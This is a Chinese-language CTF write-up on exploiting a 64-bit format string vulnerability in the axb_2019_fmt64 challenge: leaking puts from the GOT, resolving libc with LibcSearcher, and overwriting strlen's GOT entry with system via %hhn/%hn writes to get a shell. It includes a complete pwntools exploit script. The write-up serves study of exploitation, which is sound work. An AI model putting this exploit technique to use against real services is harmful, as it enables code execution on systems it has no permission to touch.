64位格式化字符串漏洞利用——axb_2019_fmt64
题目可在buuoj上找到,不知道为啥现在github怎么也上不去了,传不了题目
学了好多遍fmtstr了,感觉ctf这种学习就是。。。不学就会忘,不能停止做题目。。。
64位fmtstr和32位不同之处在于
1.传入地址可能存在0字符截断(32位由于字符数量少,可能没有这个问题)
2.修改地址可能产生%xc中x过大导致网络异常
就本题而言,会出现这两种情况
首先使用IDA容易看出,这里有格式化字符串漏洞,64位
使用一般方法确定偏移量
容易看出这是第八个参数
之后采用一般的got-hijack方法,泄露puts地址,修改成为system并且传入/bin/sh即可
修改方法以及含义如下
注意:使用%10$sAAA一共8个字符占位,同时两边AAA便于确定中间泄漏的地址在哪里,观察到下图
绿色框框就是puts的加载地址,也就是我们要hijack的地址
我们把它接下来,看到了64位的puts_addr(上图)
此时,可以根据libc_searcher获取libc了(由于本题没给libc),但是这题比较奇怪,本地libcsearcher找到的和远程的不一样。并且远程可以getflag时,本地不可以。这个疑问还没有解决,如果哪位师傅知道还请多多指教
接着在远程用libcsearcher查询,可以看到只有一个前缀没有old,可能性比较大
选择这个之后,就可以打印出system的地址了,我们看一下
libc_base符合末尾位为0,应该是正确的。接下来就是64位的特殊之处了。
在32位中,我们可以使用fmtstr_payload(offset,{dest:data})来进行写入数据,这是pwntools为我们提供的方法但是如果这里也这样使用,由于64位数字可能很大,导致传输超时的现象(例如这道题只允许3s的传输时间)
因此64位字符串需要逐字节的修改,以便达到数据传输量最少的效果。
这里通过一篇博客学习了64位fmtstr的解法,写得相当好
https://www.anquanke.com/post/id/194458
博客中提到,按照他的实验现象和结论,fmtstr中的地址+1就代表了解析出的地址位数少一个byte,博客截图是这样的
具体的还可以在以上博客中看到
这给了一种逐字节写入的方法,但是问题还不是那么简单 :(
为什么呢?因为fmtstr单字节写入操作%k$hnn的k依赖于前面已经打印的字符个数
所以必须要求:写入的内容大小是递增的
同时,就本题而言,如果把不相同的3byte拆成3份写入,还必须要求最后一份大小>=第一份大小+第二份大小。这感觉有些苛刻。
这里想到一个思路:也许可以不用一次写完,例如修改alarm的got表,则可以一次修改一位,逐位修改而不用考虑大小和顺序问题,感兴趣的师傅可以尝试一下
因此,这里为了避免大小和写入顺序的问题,采用$hnn和$hn(2+4)的组合来写入,解决了大小和顺序问题(4位一定比两位大)
两次写入。这里遇到了一个问题就是使用puts_got无法getshell,思考了以下,可能是因为在传入/bin/sh的时候,传入的正好是read的缓冲区位置而不是system的参数字符串,而使用strlen时,没有read的调用,所以就成功了。当然我的想法也不一定对,如果你知道的话,请务必留言,谢谢!
现在就剩传入/bin/sh了,但是这里卡了我很久,因为确实有传入字符数量的限制,导致我不能修改成功。如图所示
这里是因为有字符大小限制
参考了博客
https://blog.csdn.net/mcmuyanga/article/details/113242453
他最后写道;bin/sh,在前面加了一个分号,之后就神奇的,不报错了??
这里相当令人迷惑!而且网上也没找到为什么可以这样写。
完整的exp
注释有的是我写了一半发现没用的,像那个大循环是我后来发现有以上的问题,没有继续写下去。
from pwn import *
from LibcSearcher import *
# io=process('./axb_2019_fmt64')
io=remote('node3.buuoj.cn',25602)
elf=ELF('./axb_2019_fmt64')
context.log_level='debug'
puts_got=elf.got['puts']def send(str_):io.sendafter("Please tell me:",str_)bias=8payload1='AAAAAAAA'+'%10$sAAA'+p64(puts_got)
send(payload1)
io.recvuntil('AAAAAAAA')
puts_addr=u64(io.recv(6).ljust(8,'\x00'))
print 'puts_addr----->'+str(hex(puts_addr))# pause()
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
# binsh=libc_base+libc.dump("str_bin_sh")
strlen_got=elf.got['strlen']
print "libc_base----->"+hex(libc_base)
print 'system----->'+str(hex(system_addr))# pause()
puts_end=hex(puts_addr)[8:]
system_end=hex(system_addr)[8:]
print "puts_end----->"+puts_end
print "system_end----->"+system_endsystem_last_2=system_end[4:]
system_last_2_4=system_end[2:4]
system_first_2=system_end[0:2]
print "system_first_2----->"+system_first_2
print "system_last_2_4----->"+system_last_2_4
print "system_last_2----->"+system_last_2
# pause()# payload_try='aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p'
# send(payload_try)
# pause()# argu_0=int(system_first_2,16)
# argu_1=int(system_last_2_4,16)<<8
# argu_2=int(system_last_2,16)<<16argu_0=system_addr&0xffff
argu_1=(system_addr>>16)&0xff#here we should write a script to determin which to write first,because fmtwrite depends on the size printed, so the size must be increase#but the function has someproblem that it constrains too much
# def fmt_create:
# #according to their size:
# if(argu_0>argu_1):
# if(argu_0>argu_2):
# if(argu_2>argu_1):
# #argu_0>argu_2>argu_1
# payload=p64(puts_addr+1)+p64(puts_addr+2)+p64(puts_addr)+'%'+str(argu_1-9)+'c%8$hhn'+'%'+str(argu_2-argu_1)+'c%9$hn'+'%'+str(argu)print "argu_0----->"+hex(argu_0)
print "argu_1----->"+hex(argu_1)# pause()
payload1= "%" +str(argu_1-9)+ "c%12$hhn" + "%" +str(argu_0-argu_1)+ "c%13$hn"
print payload1
payload1=payload1.ljust(32,'a')
# payload1+=p64(puts_got+2)+p64(puts_got)
payload1+=p64(strlen_got+2)+p64(strlen_got)payload2=';/bin/sh;\x00'
send(payload1)
io.sendafter("Please tell me:",payload2)
io.interactive()
result:
再放上参考资料:
features about fmt64:
https://www.anquanke.com/post/id/194458
reference wp
https://blog.csdn.net/mcmuyanga/article/details/113242453
有任何不懂的或者知道以上问题的解决的,欢迎留言!
64位格式化字符串漏洞利用——axb_2019_fmt64相关推荐
- 好好说话之64位格式化字符串漏洞
64位格式化字符串和32位的很相似,做题的步骤也相同,唯一不同的是64位程序对函数参数存储的方式和32位的不同.64为程序会优先将函数的前6个参数放置在寄存器中,超过6个的再存放在栈上,而32位直接存 ...
- 格式化字符串漏洞利用时计算的偏移到底是什么?
格式化字符串漏洞利用时计算的偏移到底是什么? 我们平时在自己做题或者是看大佬们的wp时都会看见这种说法 说法一: 说法二: 相信有不少半路出家的小白都和我一样都只是知其然不知其所以然,那这里所说的&q ...
- (Buuctf) [第五空间2019 决赛]PWN5 简单格式化字符串漏洞利用
这题是个基本格式化字符串漏洞利用; 满足if条件即可得到答案; 使 nptr 与 dword_804C044 相等即可; 可以使我们利用的是 第一次的输入输出; addr=0x804C044 payl ...
- Linux下的格式化字符串漏洞利用姿势
[转]http://www.cnblogs.com/Ox9A82/p/5429099.html linux最早的漏洞防护机制nx-stack刚刚出现后就有人想出了突破方法.那就是只有栈是不可执行,而除 ...
- linux获取字符格式化,Linux 格式化字符串漏洞利用
目的是接觸一些常見的漏洞,增加自己的視野.格式化字符串危害最大的就兩點,一點是leak memory,一點就是可以在內存中寫入數據,簡單來說就是格式化字符串可以進行內存地址的讀寫.下面結合着自己的學習 ...
- 格式化字符串漏洞利用 三、格式化字符串漏洞
三.格式化字符串漏洞 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1 ...
- 格式化字符串漏洞利用
学习资料: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit/ ht ...
- 格式化字符串漏洞利用 五、爆破
五.爆破 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 当利用 ...
- 格式化字符串漏洞利用 七、工具
七.工具 原文:Exploiting Format String Vulnerabilities 作者:scut@team-teso.net 译者:飞龙 日期:2001.9.1 版本:v1.2 一旦利 ...
最新文章
- 当前主要使用的python版本_如何获取当前使用的Python版本信息?(代码示例)
- SAP UI5 popup弹出对话框的调试
- c语言链表贪吃蛇脚本之家,C++控制台实现贪吃蛇游戏
- java黄金连分数_蓝桥杯 | Java B组省赛真题练习——黄金连分数-Go语言中文社区...
- 零氪科技与诺华达成战略合作 共同打造数字化医疗创新模式
- 如何禁用Web表单字段/输入标签上的浏览器自动完成功能?
- a标签传值乱码问题怎么解?
- 安装keepalived高可用(双实例)
- hive sql脚本学习
- Centos8[Linux]下载安装qq音乐,亲测可行
- 飞信2008内测版下载
- ads的designguide打不开报错
- 从帝王之术中窥探天机
- 使用VSCode插件CodeRunner一键编译运行Java
- Bezier曲线生成【计算机图形学】
- Android之获取外部存储空间解释
- 决策树应用实例①——泰坦尼克号分类
- 天津大学计算机专硕_天津大学计算机技术专硕考研参考书
- 盘复分支语句和循环语句的那些知识
- 我的世界电脑正版怎么开服务器,我的世界手机版开服器怎么用 开服务器方法...
热门文章
- 红芯 | 移动化路上,你都遇到过哪些坑和不爽的经历?
- 甘特图实时跟踪项目进度,让项目管理更高效
- DS18B20+DS1302+Lcd1602+AT89C51电子钟
- adams软件Linux,ADAMS仿真过程中如何提高计算效率,缩短计算时间,相应其他软件也可以类似操作。(原创)...
- 2013 04 24 IELTS陌生词汇260条
- 自适应textarea文本域高度原理
- 华中师范大学计算机学院夏令营有感
- Java变量和运算符详解
- 【Python】输入输出与运算符
- [架构之路-190]-《软考-系统分析师》-4-据通信与计算机网络-5-图解CRC计算方法与步骤